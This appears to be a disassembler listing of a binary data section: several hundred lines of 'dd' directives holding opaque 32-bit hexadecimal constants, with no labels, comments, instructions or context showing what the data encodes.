		dd 36C3DCAh, 0E1081372h, 50C1C389h, 84FD02E8h, 465E9518h
		dd 0C602F0ECh, 55DE21CAh, 81053CF8h, 9BE666Bh, 61E11C00h
		dd 0BC8A263h, 80AE06FAh, 2CD2ECC2h, 63593C00h, 24930C1h
		dd 19CC6017h, 1C181635h, 0FA420F0Fh, 89A08045h,	0DBF7CFh
		dd 611EB663h, 6ACAFE13h, 9082A309h, 0E490D293h,	35B4172Dh
		dd 0D074C7DAh, 7B63115Ch, 48B98127h, 7D55F1DCh,	2DA10110h
		dd 0BA4B92C1h, 5E1C4C2Ch, 0F06D5A81h, 6543300h,	67FF6284h
		dd 50BEA4EEh, 72E99B06h, 96860059h, 9F15146Ch, 0ED37FD4Dh
		dd 217C08E6h, 6CBE0229h, 0A78B175Ch, 0CD80D0D9h, 64ED8E34h
		dd 78FF76F6h, 9540FB8h,	0AB076504h, 41EABE80h, 60BA44B4h
		dd 23A66345h, 0CF115AC8h, 635D4000h, 0B873FDDBh, 0C1AC361Ch
		dd 9044E833h, 14159980h, 0ECDABA7Eh, 4571A040h,	0D3CAC3FAh
		dd 0F88178F8h, 60003F6Eh, 9B42E32h, 0F714A9FCh,	0A4A1908h
		dd 87CD44C0h, 0CF9C03E6h, 0AE1AEE37h, 0EB8FCFCh, 0D4560188h
		dd 196280B0h, 9536BAB3h, 939980Fh, 2218065h, 2A9AB311h
		dd 0E8290074h, 24D9F5FDh, 3C4A1433h, 26CEA481h,	9DCC0804h
		dd 1A6CCCC0h, 22CF4615h, 0B4330098h, 0AE74E96Ch, 0D200BB8Bh
		dd 0F09F84BFh, 46638Dh,	0CADF50A7h, 1371B9E0h, 98B45603h
		dd 0F3DA971Bh, 9081519h, 0E500B8FEh, 2AD05C77h,	8E04D2EBh
		dd 0B1BA441Ah, 9C80B8FCh, 4ED919D3h, 6A54AF1Ch,	55C0C85Fh
		dd 6CE44952h, 0D0AD13F1h, 0D3A4F485h, 11626405h, 30F48297h
		dd 96893F78h, 72C86000h, 65544D03h, 0D04D2BE9h,	0B4024132h
		dd 0B3173058h, 6D36D011h, 0EC806388h, 76E6B30Eh, 912501EAh
		dd 0C16F2B50h, 0AA0020DCh, 2307188h, 35283ED8h,	847E854Ch
		dd 9FD25600h, 76CCC7CAh, 0B688A809h, 96850017h,	0C3A22265h
		dd 247C0F3Eh, 83F6263Dh, 0BAE988E6h, 0B0C9648Eh, 0B316605Fh
		dd 753623CFh, 0E9076711h, 1DB30Dh, 0F1FE76F6h, 6CA6AC0Fh
		dd 2641DE5Fh, 0E5FD4CC1h, 381BA080h, 0A19ABD2Ch, 189110F8h
		dd 0A70F6607h, 0F5814550h, 0AA7225DCh, 34F84861h, 9E00EA88h
		dd 5223B0C2h, 257E1BDFh, 0A4C848D6h, 8482BEF1h,	0D160703Ch
		dd 15231B6Ch, 9911B7h, 0CD6CB92Ch, 7584830Ah, 3C9C00DCh
		dd 0B1341B11h, 8A2421C8h, 0A109A45Bh, 0BFFC04AFh, 99635E60h
		dd 332C810h, 4180DBC8h,	0D1E56356h, 0DFFC0712h,	0C018DCC4h
		dd 89AE024Ch, 9F469492h, 186CD202h, 8531BF15h, 6CBA2D10h
		dd 0CE1AE200h, 0C4DC8A32h, 75100084h, 0F5AEA4F2h, 0C10E2A67h
		dd 1AAC0B5Ah, 440C6789h, 0DFCC60DAh, 3DBA0019h,	2EA744C9h
		dd 5B04A1F2h, 4B1843AFh, 4A0010E9h, 0D90B3E84h,	9200051Dh
		dd 8948772Dh, 1E418A4Bh, 2171CCh, 0D4CB6E7Bh, 90C8DBC4h
		dd 6344C0B9h, 6246C8A7h, 4300D522h, 349F635Ch, 18C8EB3h
		dd 2EB5649h, 3099B9C8h,	22306843h, 696A51A9h, 3A26388Ch
		dd 1A35F384h, 0AF1480D4h, 0A19FE946h, 20DA7CDCh, 8240013Eh
		dd 0EA312D7Eh, 1B830476h, 28263E56h, 9547A38h, 0AA35F2F9h
		dd 46F01CD8h, 5048EAF1h, 28272AE2h, 0CEF44C85h,	110D248h
		dd 7EE0CBA2h, 9E354E2h,	0D9E9CA28h, 20C8CF8h, 913D7C7Bh
		dd 28244CA6h, 74111510h, 1396AE22h, 0A0357C37h,	3203A804h
		dd 3BD881C1h, 0C821E26Bh, 0F89C6358h, 1DB09312h, 814B4EA5h
		dd 1166DD88h, 9CE43A21h, 0E2062B80h, 566E7D8Eh,	983B2139h
		dd 0C47947EEh, 0C0F34FC9h, 85C1CAD0h, 0A1B0FB00h, 9FC25C11h
		dd 0D13D1B46h, 2E820899h, 5E1B9C90h, 201FA1E6h,	0FD01C944h
		dd 3CC53792h, 4329CC1h,	0EE30FDF2h, 0C7171D42h,	84886621h
		dd 0E8D07C30h, 0E8D04CD0h, 6E008CD5h, 8D23BE09h, 0B149620h
		dd 8219C85Bh, 0AA4CF070h, 0E0570024h, 0E8E9C4B4h, 0CD74C91h
		dd 600CC114h, 61A2A38Eh, 0B4B19581h, 9AEE110Bh,	280AE0D7h
		dd 0F4BD0F7Dh, 0B3A005BFh, 0FF465C74h, 0A08C2A4Fh, 0F6A00A31h
		dd 5E949BDDh, 86117Bh, 300912DFh, 45FE6C19h, 8095ED4Bh
		dd 0BB131580h, 0F93702D7h, 0E3AAAE14h, 4C57F480h, 8282FC1Dh
		dd 19CF6EA0h, 0FC00D22Ah, 808D88DAh, 687D7920h,	409544Ah
		dd 996C843Ch, 166CD060h, 11AF1523h, 0B800739Eh,	25C69D6Ch
		dd 329748B2h, 23B01C58h, 0E8B8AF20h, 0F77905F5h, 0C2D2BC59h
		dd 5CDCCE04h, 0C33F3383h, 86FDF88Dh, 0F5573AC6h, 0FEFF6084h
		dd 8F9E7h, 340FE404h, 195A2E79h, 0A8CCBA80h, 8AF5109Ah
		dd 356200CDh, 4191BEFCh, 1F76DF42h, 361639h, 0DDADA94Dh
		dd 4C6B253Dh, 20046CDEh, 0F8F9B8F5h, 832A05B8h,	84159E0Ch
		dd 29E28E14h, 8A1CF810h, 0D0B7E8h, 0FDF03655h, 855BB831h
		dd 0FB206089h, 900D7775h, 0D1549948h, 166718CDh, 0A106194Ah
		dd 7A36C130h, 9BE8BC46h, 0B6F70369h, 7B6419F4h,	6FD4A3F8h
		dd 8291C025h, 0E663404h, 72AE9703h, 23288158h, 0B31A0163h
		dd 181536CBh, 11ED885Ch, 702EB300h, 0FEAE1AF4h,	1C409030h
		dd 6A756FD0h, 0D120B1F8h, 16BC18F3h, 0E0D08281h, 20915140h
		dd 3FA1C880h, 59F2ADFh,	2BFC0E0Fh, 1BF0005Eh, 0B87C5619h
		dd 0E830515Ch, 67008CA1h, 0A2E191C1h, 2647C54Ch, 7840897h
		dd 779D2A0Ah, 197090CDh, 60F618F5h, 2705389Ah, 0EABC3A4Bh
		dd 5A5E08C2h, 39422710h, 675520C0h, 5CC8782h, 0F4221348h
		dd 9A0EB048h, 0A3B25476h, 0E06C2825h, 24E2826Dh, 0B2DC9420h
		dd 95309CD0h, 1517126Ch, 0A0CB97h, 0D26CBD28h, 0E07A4268h
		dd 638A3019h, 0E03282B0h, 0E2589D67h, 0DE5EDEC2h, 716088A0h
		dd 0A2A39786h, 900A5FA1h, 5C8DFE30h, 3F759400h,	3EDA299Ch
		dd 48C706E1h, 486749C1h, 0F697CC00h, 0B61F63ECh, 0C0C60578h
		dd 8509694Ch, 88A48E78h, 7484C198h, 9C206B43h, 0E67E4C5h
		dd 450FC01Eh, 0B441B464h, 834F21D4h, 0BEC3F880h, 0B28920E9h
		dd 9D5029B7h, 0C1D60804h, 70F31B60h, 15B400FDh,	721247C8h
		dd 0F94A7C36h, 84006812h, 7B461026h, 0C01E5EF0h, 361902F4h
		dd 0CF806567h, 0D9B94C51h, 2DF43080h, 8221E29Dh, 32D19CA8h
		dd 1B419094h, 0C874DF51h, 561F3D11h, 0C28FE45Ch, 4A4110D8h
		dd 3032E989h, 0C68AE100h, 0A7D1402Eh, 755C6C98h, 805E88BCh
		dd 5B131C80h, 4100939Dh, 58ABD0E4h, 604A53h, 0DFD70E3Bh
		dd 97377F33h, 51E8567Dh, 0FC6C4800h, 627D67C5h,	91989625h
		dd 0B31B805Ch, 990D36CCh, 1200CE18h, 20FA54B3h,	322094B8h
		dd 0C4330C45h, 7EF8ABDAh, 6D81FB03h, 0E42A869Dh, 281190A0h
		dd 44B83967h, 0FC2A7BBBh, 0B0A80868h, 349EFBF6h, 8A465Ch
		dd 3A1922A2h, 0BF8725Bh, 0A997BF90h, 7C043CF1h,	4D00FB9Dh
		dd 0AFE418B2h, 0F3B011B5h, 4728206Fh, 5F03D21Fh, 0C3297B7h
		dd 0B9CAC8B0h, 5FC9175h
		dd 0C2A4353Ch, 55C0DBAAh, 615050A3h, 6900A7ADh,	0F27879D4h
		dd 0B4DD6ECh, 98A3C823h, 60B81404h, 0FEA06347h,	0C00642EAh
		dd 0A2635F3Eh, 305DF0F8h, 35A8286Eh, 0FC5A194Ch, 70EBD090h
		dd 0FC33F9A0h, 0FD305BA2h, 2490B08Ch, 404416B4h, 0A45D78E6h
		dd 0B0AA3502h, 40470F93h, 49E57C08h, 852994DFh,	29AC8BACh
		dd 18B5D0D0h, 80EB58h, 0DB974FD3h, 0B2DDF796h, 0FDA95A07h
		dd 186D03DCh, 71F05C66h, 25EA89A5h, 2A561B0Ch, 1AC17044h
		dd 0A0E09DACh, 0E7F1B882h, 998388FEh, 0C34E79DBh, 0BA36C8A2h
		dd 0D6BB041Dh, 0F260DA24h, 0E4C70054h, 0BF49F4C1h, 51FE19h
		dd 0F03EE252h, 44D3AF0Ah, 3F2A8505h, 0B0AC10F6h, 8444B489h
		dd 6001BD46h, 2C8A363h,	88D40C07h, 6302583Fh, 0DAE230CEh
		dd 0A19A807Ch, 15957F34h, 0F8FE9E56h, 0A9489300h, 0CD98520Ch
		dd 24C7CEF1h, 35638544h, 0D51B59D8h, 34C87A00h,	0AD697898h
		dd 0CFF22546h, 31473403h, 75E4C100h, 0A23A9EFEh, 98320E0Dh
		dd 4E003B42h, 80FF5D62h, 0CC449A05h, 34B12016h,	3EBBDBE4h
		dd 7B05FE22h, 158CB07Ah, 88BC7C8Ch, 0B22DA8F8h,	0B008E85Eh
		dd 0C1B08373h, 21B75089h, 32FE7C98h, 34F4CE01h,	0F6002DF8h
		dd 5CECFCEDh, 0D0E546h,	0D9C8909Ah, 0D4F8AEE7h,	71491630h
		dd 340628h, 644C0F04h, 6FDFADFEh, 970EA406h, 4FB95882h
		dd 0EBF04217h, 8260B302h, 0F73967DAh, 0A7AD0064h, 0F18AA913h
		dd 0CBF80D89h, 2D310816h, 0ABB8C0h, 5A28B641h, 0DE3B04A2h
		dd 3ABF4617h, 9AD6400h,	28F30D5Eh, 0BDE0C1F0h, 0C68108A1h
		dd 72102021h, 6CB7058Ch, 0CEE71519h, 0BF260034h, 3DB7F6Ch
		dd 0A26B0204h, 0A1A47A82h, 94B1A050h, 0C930228Ch, 1BD70086h
		dd 0E7F4AFB6h, 0AC009635h, 0C8A1BF8Fh, 2F4A4E0Fh, 0B068CE21h
		dd 0DA007F35h, 106A1304h, 1787C8BDh, 4D26893h, 0D1F8F5F6h
		dd 6897C9CCh, 8C5AB8E0h, 0EF01FB72h, 4CB44524h,	5085F929h
		dd 0C0C09B75h, 0DCE27B24h, 0BED0A265h, 120224CCh, 2291CC83h
		dd 0B4C99D2Ch, 0E22C202Eh, 60752940h, 97043127h, 0DA024A62h
		dd 5E1B49BAh, 165C7882h, 0F0F54CADh, 0C654A59Ch, 5F6047C8h
		dd 44548EA9h, 9E2A00ACh, 53855A78h, 6778D210h, 34F22904h
		dd 0ECD09D54h, 4C27C4Bh, 32474081h, 1B50C87Dh, 0D6067E18h
		dd 95DD1770h, 35204464h, 43AF03A8h, 2DFFACFCh, 449521BEh
		dd 759F001Ch, 0D2987858h, 0A9004C3Fh, 0A0427B39h, 2DD99EFh
		dd 0C7EBD546h, 0B8E9A621h, 7838CD82h, 97880538h, 0CCD07EAEh
		dd 0AC5D0195h, 0B31805D4h, 0E28536D1h, 0FEFC068h, 3B4EB3h
		dd 22F4368Ch, 0B6D25498h, 34F1D5E6h, 0BF00A9DCh, 36CA0DC5h
		dd 0B00BF5B4h, 0A864952Ch, 960480E0h, 28465E15h, 4179D0F4h
		dd 9BB9EC29h, 0CB4D210Ah, 0AF3AE8A4h, 44AC44AAh, 0AD319773h
		dd 0E8A2994Eh, 0EE00506Dh, 60D71A7Fh, 9A00329Dh, 4F52FE29h
		dd 291BC2Bh, 5A8F8B51h,	3CC13DDBh, 0E9930703h, 3E410097h
		dd 0FD2B1287h, 50078ACAh, 0F714D1B1h, 0FA09D8E2h, 5C540050h
		dd 0A48FEF10h, 0DE00FF89h, 0CBFE2EA8h, 4B04FBBh, 7AAE3D5Eh
		dd 1A980224h, 0E0604046h, 0E439BD43h, 6DCC60B3h, 0D43F80ABh
		dd 53C38B70h, 9ECD031h,	0BE486415h, 0A0393005h,	5D246764h
		dd 97AD5C5Eh, 46BF40h, 0FC894E32h, 3C5377E0h, 82A516AAh
		dd 56936020h, 18BCD12Eh, 639F2880h, 547E9BFFh, 58C1DC6Ah
		dd 193CD491h, 0EE808CAh, 47443DCFh, 0FE624581h,	0C298E820h
		dd 0C0B40632h, 0D82AC9ACh, 0FB48AB00h, 1F2FEB1Ch, 806A5C12h
		dd 2061B417h, 0CDA7BFCh, 904964Dh, 6658A1E9h, 597C772Ch
		dd 212F3470h, 9991AC97h, 0B321B681h, 2DCEEC18h,	0A0FC1BBDh
		dd 251371CFh, 28D26A14h, 8B4D7D38h, 7C984C2h, 244BFCA7h
		dd 0A4F4E908h, 0E8DC0077h, 314C7691h, 0D212A78Eh, 4CE8BF34h
		dd 1B1AC1DEh, 0FCDF8533h, 90BD978Ah, 23FE62Ch, 7B676BA3h
		dd 9CE2121Ch, 9CC13CC2h, 8EF030A5h, 41C15E41h, 3D70CC2Bh
		dd 4ACA5C40h, 23302E97h, 0AB9D0063h, 84BF618Ah,	59314201h
		dd 0CE19E246h, 7F06982Ch, 0E96E7D30h, 0AFA79718h, 320A241h
		dd 0DF84C856h, 0B6F47A7Eh, 0B1A7B054h, 0AE1B0969h, 7867FFE2h
		dd 0F8605864h, 0D63F695Bh, 0E617017Bh, 0A64A3348h, 0ABD6B431h
		dd 0E4844598h, 190A60CCh, 281A0946h, 0D85E857Ch, 0DC2F4D02h
		dd 1E1C7874h, 0A8FDF1C8h, 0E455A098h, 387CF98Ah, 0A221C881h
		dd 6C2080B7h, 0C10293D1h, 85B41A2Ch, 5854500Eh,	0EC542614h
		dd 9A5C8CD8h, 3B7C01EFh, 0C099BFC6h, 0D30F4620h, 2E4C0460h
		dd 0B4451C01h, 3C5D24CDh, 0C4CB19A2h, 283AD832h, 8CD8EC98h
		dd 1D0FFEEEh, 0B8D630h,	0F319267Bh, 0D95A2F35h,	14CD1491h
		dd 32132C82h, 81441C40h, 0FC2C9D5Ah, 1D9F75E9h,	5EB063F8h
		dd 30A58218h, 14685A19h, 2CB05D59h, 0EB2D921h, 4A90907Ch
		dd 8423682Fh, 0F5340D00h, 7C48872Ch, 994C2719h,	363D3080h
		dd 0ACA4DB8Ah, 9105C521h, 0ED1F07DEh, 85CEC83Ch, 1C97CEADh
		dd 1B204156h, 39315435h, 0DFFE2011h, 6DD97C80h,	0A496CA86h
		dd 97303101h, 457EACA9h, 3DFAE3Ch, 0B61DCC6h, 0D61928E0h
		dd 7F104F5Dh, 155A1498h, 20F84C5Eh, 4F3272A1h, 3DD42E9Ch
		dd 7902C30Ch, 2E648B1Bh, 0C4737661h, 263DA7Eh, 3D00AA0h
		dd 0C32316F9h, 98898665h, 0B0CCFCDDh, 0A700F573h, 6BAFDCEh
		dd 9673839h, 0FCEE814Bh, 33C25402h, 82157487h, 607AD226h
		dd 0B0963920h, 25A22230h, 3B011BE0h, 7097C2FCh,	23EDC720h
		dd 0FBF5C840h, 0DD428464h, 0A8643069h, 41EE5800h, 69393DB8h
		dd 464524C7h, 774811F0h, 0D4F2F14Ah, 9C743208h,	25203428h
		dd 0FB2A40B3h, 888C05FFh, 0EFFC00D7h, 0AE99F155h, 50008312h
		dd 97AF341h, 91B4755Bh,	8095AD84h, 0C6801291h, 709A6F18h
		dd 7E842995h, 525E8528h, 69900F17h, 7CC0A212h, 0C15542Bh
		dd 82DCD701h, 0F19098A4h, 0E32A81EFh, 0EA0DA244h, 5420D8E6h
		dd 5E38B429h, 0B43E9E46h, 0C821D28Fh, 0CA5A18E3h, 6D600EB1h
		dd 6C5E7294h, 8410A023h, 40DC170Ah, 0BBA65DBCh,	0E69D9E07h
		dd 7B116BA7h, 442B6832h, 0D28E19F8h, 28C06DBCh,	0A10083BFh
		dd 7FCB1AB2h, 4E1D7876h, 3B1C4008h, 5836516Fh, 93383Fh
		dd 0EE4657E1h, 3D6B7D3Ch, 0AA80FF62h, 0A9B0DDADh, 179D4BB6h
		dd 968591B8h, 5473770Fh, 0C0A10487h, 0DF82D8AFh, 2918F05Ch
		dd 0CC6FE9h, 4F96280h, 7CEC8BBEh, 1AACCA01h, 482EFF4Dh
		dd 0E846B989h, 9681DCD1h, 318E7D67h, 5923A862h,	95B31401h
		dd 0E6536h, 1AB30BEBh, 15D51A9h, 3BC1D761h, 86270E56h
		dd 1B972850h, 0B48578EAh, 5E46746Ch, 4C350204h,	0ECE8A9h
		dd 0B6312980h, 2982A6C4h, 9AFC3D04h, 94403959h,	30D6FF0Dh
		dd 89B54408h, 6C4ACB31h, 0ACF6F304h, 0C13517D0h, 8AC850CBh
		dd 0F4109AC7h, 16B38006h, 41303B2h, 44E11E60h, 5083956Ch
		dd 1A90928h, 0CE000D02h, 7C34731Bh, 549AE6EEh, 89F8AE4Ch
		dd 88F48433h, 58D8D8ECh, 6D883056h, 9CBF029Eh, 5289E9CAh
		dd 6044A257h, 21C40091h, 0D47CCCEFh, 191E3000h,	98361D5Eh
		dd 1CA91648h, 81B801A4h, 0E899AB0Fh, 0CC5CA3DBh, 9DD12134h
		dd 8490E22Ah, 0CD203962h, 12D1004h, 4DF8968Ah, 6E5A7060h
		dd 5423020Ch, 60CAACD2h, 0B13156E0h, 2761089Ch,	84DF2A65h
		dd 50E8BC80h, 5CEA792Bh, 3449490h, 884D5221h, 41DA2DC4h
		dd 4ED22132h, 0E2D4F084h
		dd 21BA6Ch, 0F70DA895h,	2BBFD90Ah, 39C4282Eh, 72ED2140h
		dd 40009153h, 0B7448501h, 0A02055ECh, 0B92446FCh, 21109D88h
		dd 5931111h, 84815EB8h,	85B4A200h, 0B58171EFh, 0D84BC6A9h
		dd 54A44A21h, 0A1465Ch,	0AA5C9BDAh, 78CC514h, 0A3479DEDh
		dd 0A89C0482h, 5B578960h, 0C27D86Ch, 1CDC5658h,	9293F518h
		dd 9834D4E4h, 0AC730534h, 1532FD4Ch, 0F0A9C4B0h, 0FE88650Ah
		dd 0C24384DFh, 84ED9A1h, 238D4230h, 11A4ACBEh, 0A2A48E0Fh
		dd 713D8160h, 9BE06E90h, 308859C2h, 9360C74Ch, 802568F0h
		dd 0BD488F42h, 0C4EC42E8h, 6D0128B0h, 22CE4E36h, 4AD2DA4h
		dd 44986CD4h, 35F209F5h, 5C794412h, 1CE3DC12h, 31DC0BE3h
		dd 0F3E0025Eh, 75F50068h, 0DAD6D93Bh, 989143FCh, 0C2FDC51Dh
		dd 0E00B6B27h, 99E48C65h, 0D3128160h, 0D1470931h, 0C8D811B8h
		dd 1F8E003Eh, 561B2E18h, 0E0C1D89Ah, 0A1F1CA98h, 0AA0B146Ch
		dd 0B80C7BFh, 476CF745h, 42988CBEh, 1CCA8C09h, 0CE87B9C5h
		dd 9013F576h, 215C11F0h, 80305CB1h, 900FF21Ch, 0BAEB0072h
		dd 16B6E928h, 0D9796D88h, 0FF80CF13h, 29FA2CA1h, 0BFC0A832h
		dd 0BB05C17Bh, 3DFB9EA6h, 448F8B4h, 5ED7AF6Ch, 0DCED4Ah
		dd 0D0709359h, 0F64FF6F5h, 0E3670F17h, 5E0097CBh, 40EB2EC8h
		dd 9AA78627h, 5EBC5410h, 1D86127Bh, 806A3B77h, 0C448507Dh
		dd 749C23BDh, 482F9C13h, 3C3123Dh, 3BDF62FAh, 21C58838h
		dd 91A44B97h, 50FB17C4h, 0BD87388h, 287B942Eh, 56C47E52h
		dd 84005A46h, 656A89A3h, 6703F737h, 95BB8C29h, 34DFD89Eh
		dd 463F1373h, 71F8D0ECh, 0B7251B0Ah, 4D4D8C7h, 0FC4D578Dh
		dd 0AC2CED9Ch, 81480141h, 0ECA39A17h, 60D03AE7h, 4CB1B4h
		dd 0F52A2337h, 0AB10506Eh, 9D181300h, 5219CAC0h, 283081AEh
		dd 78889600h, 54120069h, 6BFB4E1Eh, 1800B486h, 207A1084h
		dd 143BA6D5h, 0D46F1BACh, 0C143F7ECh, 5F289F00h, 0E2FEDE04h
		dd 806D1430h, 51BED1Fh,	35F1DC01h, 80D4953Ah, 707EDFD0h
		dd 606ED55Fh, 0A2BA8500h, 0E621C9F4h, 0B4F83060h, 0B7055456h
		dd 9C447401h, 0A2FC63AEh, 128D30CDh, 8220F498h,	11A506D0h
		dd 4964AD97h, 0F0430A5Bh, 0E704D63Ch, 83A90680h, 3B5900E6h
		dd 776C5FC9h, 0C8904BDEh, 44479100h, 1BDDB581h,	7C320038h
		dd 0FF63D773h, 0C63E10C3h, 0E27E8BF6h, 0BAD0A0C8h, 0F2D5E60h
		dd 61C01B16h, 0A9C5B982h, 2AACCC49h, 0D823342Fh, 0F6DFAD01h
		dd 0D870254Dh, 2B72307Eh, 0A953FDE0h, 2B089B5h,	6305A80h
		dd 4D0928DFh, 91F3469Fh, 0E8E0BFF4h, 63C8A870h,	10340074h
		dd 5F0A3A1Ch, 9F04E4FBh, 0FF02DFD4h, 4F608Ch, 77A1A2A4h
		dd 85523948h, 0C3B32B01h, 5099CCBBh, 2D41E3Ah, 0D6FA23E9h
		dd 4B623CD4h, 60BB406Eh, 3A6717DFh, 88648B97h, 0F3E5C063h
		dd 0B00BD75h, 422025DDh, 5AC1C482h, 0B214849Dh,	0C1F3F19Ch
		dd 0A900BE0Ch, 713BCE1Fh, 957CA04h, 594CAD0Eh, 0C858C4E0h
		dd 0CE2F841Ch, 1727975Ch, 808A9170h, 11717DD3h,	6EDA00C0h
		dd 8163B053h, 974848E2h, 21DB4018h, 3F1A86Eh, 0E0EF677Bh
		dd 3B5E699h, 39AC806h, 85E0C342h, 3E16022Ah, 0CC8BABD5h
		dd 51C4CDC8h, 396ECF8h,	7FBB985Eh, 0AD5AD0C0h, 46BA1D02h
		dd 42A442BFh, 0A8C406Ch, 352A1C0Fh, 4C176586h, 9B80F391h
		dd 0F47E6FAFh, 81D02304h, 0DCB4221Dh, 1BE43829h, 0BAC45380h
		dd 5DEB6D03h, 0CB30B812h, 3EC3B090h, 1C505CA7h,	1C8C8BE8h
		dd 416A1B63h, 0B7F5473Ch, 6C22E9h, 143B464Ch, 2B1ABCh
		dd 84418226h, 2EB6DE6Ch, 8D649B02h, 0F8446504h,	0F1514450h
		dd 39ACAD0Bh, 44CCE7A0h, 0ED446065h, 74980021h,	30903386h
		dd 35B76A1Fh, 2C358048h, 94A67C84h, 378E980Bh, 0BBA4318Dh
		dd 22F7871h, 311DE94Ch,	0C848297Fh, 1838090h, 4418265Ch
		dd 3FE9AF30h, 0CFF36C44h, 2AF71180h, 549A0006h,	0E0CA8B9Fh
		dd 4C2734CEh, 0F404C07Dh, 0C5312529h, 7E736020h, 8A80FE96h
		dd 9157993h, 2CE0E1Dh, 0A8801C20h, 7A0FB398h, 80D2FA49h
		dd 0BA143577h, 0AB4B00ACh, 48B0235Ah, 8001A7CBh, 0CF530342h
		dd 307CDC27h, 658C5EBCh, 0E92AB168h, 0E0B22844h, 58D934B1h
		dd 34F0B418h, 0E267B807h, 2BE75DCAh, 0E894A3A4h, 0F0377480h
		dd 28584EBFh, 8A97E9ACh, 4674E0C4h, 88BE07DBh, 0DDE7D711h
		dd 0D6F4E2B9h, 0C15850E8h, 3A0C5682h, 0DE64CA40h, 20D0CE54h
		dd 0AD23FBF9h, 873BE380h, 0F78C49A8h, 6B48C800h, 0AE34F5B5h
		dd 582E9F8Eh, 0C2511B00h, 0E838C390h, 0E8E04897h, 68008C8Ah
		dd 0BEEF7884h, 58F88156h, 5512CC86h, 373C09B1h,	674170FEh
		dd 684A9739h, 49C05EC8h, 0E69B187Eh, 8880958Eh,	0A194A9Fh
		dd 0CC60019Dh, 0F2E4C809h, 0F1280BC7h, 45CAFC1h, 4C20589Dh
		dd 0CEC906Bh, 50CF7h, 60C06FB5h, 79BFAC65h, 10909C77h
		dd 4B0DB446h, 7B88A463h, 0FF42A82Ch, 26D74B70h,	40B04741h
		dd 2225691Ch, 89DD0600h, 465AFAFBh, 0D07A2F7Bh,	76800080h
		dd 0BC9816D5h, 98A4C925h, 2D82E224h, 0E0EC37DCh, 306F9B06h
		dd 9F11877Dh, 0E483ACE0h, 84100C9Eh, 3784B2C8h,	4CE09154h
		dd 0DA7D2F67h, 0BCBB9885h, 6CAAC0F8h, 31192B2Ch, 3138BF45h
		dd 5A586281h, 541350B6h, 5EB8C12Dh, 9C6B7B9Ch, 56873100h
		dd 8A5E15FEh, 718C4A40h, 33022FC5h, 21E28C23h, 1D0490C4h
		dd 0D8C8FD80h, 9B4281A1h, 89A72226h, 5A7E3111h,	7B560994h
		dd 94E2D8E2h, 0FD5E7361h, 7C427AE3h, 76A01D76h,	74206AA0h
		dd 35380B46h, 87E2C980h, 0E1B97FF4h, 80DAFE12h,	69BEE0A0h
		dd 40009168h, 7E159778h, 20005E4Ah, 64DB81A4h, 6DF9382Ch
		dd 9B462D79h, 2E510CA3h, 2A806CE3h, 0A2BF6DF5h,	0DDA9EEA4h
		dd 18D46432h, 0EBCA1240h, 61D40571h, 8C1B509h, 8C934098h
		dd 0B9A64407h, 887F180Ch, 0C69FC931h, 28322008h, 7266F9E2h
		dd 1613E98h, 714E3BAh, 2E6F3B6Eh, 8C7E782Fh, 85B42900h
		dd 0DC06DFE7h, 600B5417h, 0A5541E60h, 30CC8263h, 0B440BA89h
		dd 200B433h, 7901A4B2h,	3B800A2Fh, 0D670D5CFh, 349C0039h
		dd 96C1C4BAh, 48951AEEh, 14767A0h, 80C7B632h, 6E33EC82h
		dd 0F40A9492h, 2ECD03D4h, 16D157C3h, 6E7C75C1h,	0D923582Fh
		dd 0ADC87F00h, 2F46584Bh, 8902415h, 6DFAAF99h, 0A4488541h
		dd 0C78106C6h, 49FC79D2h, 2574EC3Ch, 0A4B4E8B6h, 7E82806Dh
		dd 1031243Dh, 350529D5h, 0F9E35A5Eh, 0E8468408h, 0BF04D4BDh
		dd 0EC454C36h, 0C84B01B8h, 0FBA53887h, 0ACDC813Eh, 2EA181C1h
		dd 2C6E4F92h, 202D3824h, 78C1675Ch, 287D3123h, 0FB24823Eh
		dd 0A1713C71h, 1D3B9D18h, 85398071h, 731F41CCh,	0A11C5A81h
		dd 0D03B7F30h, 550F8A23h, 679FC00Ah, 31595Ch, 3D35F162h
		dd 7C324B78h, 18008949h, 973973C9h, 0C3230558h,	0A0EB25C1h
		dd 6D027750h, 0E8B6ACA5h, 95687CB3h, 0D23990FEh, 9A614B00h
		dd 37F84388h, 2F53B803h, 0B00F48FCh, 9080685Ch,	2B904E7h
		dd 91EDAE97h, 6E139F4Ch, 9D834C9h, 0E3170033h, 0DFD6932h
		dd 443C6A79h, 0EDB409CCh, 2DC8F0E8h, 0E0C7AEA9h, 4660F864h
		dd 9609AD84h, 7A3A3615h, 0A0F95B38h, 9F9F2ECCh,	89CD11B8h
		dd 3A9C044Ch, 570B8ACh,	2A759380h, 0B448ABAAh, 681B40FEh
		dd 11249041h, 6F192CCAh, 3F0D0E80h, 0DB23782Bh,	0BF4F7E00h
		dd 2CF2E84h, 0C7187BFDh, 0D4F8E9F1h, 7882861Fh,	21CA12A0h
		dd 0AF64B0BAh, 75BE170Ah
		dd 0F9A7943Dh, 541601F0h, 701397E4h, 6D05322Ah,	38CC8830h
		dd 4439C60Fh, 0C4D2F508h, 9131066Eh, 91F1C80Ah,	14083CB3h
		dd 0ED4609A2h, 1E9364D6h, 74C76000h, 996D8316h,	88501654h
		dd 0A013E1C0h, 180F28E8h, 0C0A05336h, 0BBC90A5h, 0E47C30FCh
		dd 8BC4F8E7h, 0F5163060h, 33E91400h, 0C1C87439h, 5C5E5031h
		dd 0B542770h, 0D9443447h, 0F91E3E60h, 202D1DE4h, 41FCC8CEh
		dd 0C0F67Eh, 0A79D0DD3h, 8FCDDD81h, 882A7C0Bh, 82C82936h
		dd 0F2BB234h, 9230ACD6h, 90AA6C0Eh, 14599925h, 0A518DB79h
		dd 90468600h, 0C7CF621Ah, 0AB034h, 6E61F1A9h, 13B65DE0h
		dd 73209200h, 0D9CD714Dh, 0F839B080h, 9030C2C4h, 1CD6EFF3h
		dd 0A12FF011h, 0C1E3097h, 1FA180E1h, 5847B94Bh,	36702998h
		dd 312E7CE4h, 0DD0FA002h, 7D53833Ch, 2F10240Dh,	759905ACh
		dd 13CCA96Bh, 80DB1526h, 0B1A85480h, 2409CB58h,	8BBCA575h
		dd 0F0F10480h, 706458B9h, 92408198h, 0C5310185h, 70009833h
		dd 6B482019h, 28C45FAFh, 8F012806h, 7C31F1C4h, 5D6C018Ch
		dd 0C0F76371h, 0B5DF2E60h, 46745820h, 2A028577h, 0ABD60775h
		dd 0B1D46011h, 2C229D0Dh, 0BE00A06Ah, 82676Eh, 2FF0DB62h
		dd 3E693F6Fh, 0B99D550Eh, 93B244C4h, 0CD326090h, 0D72A80F7h
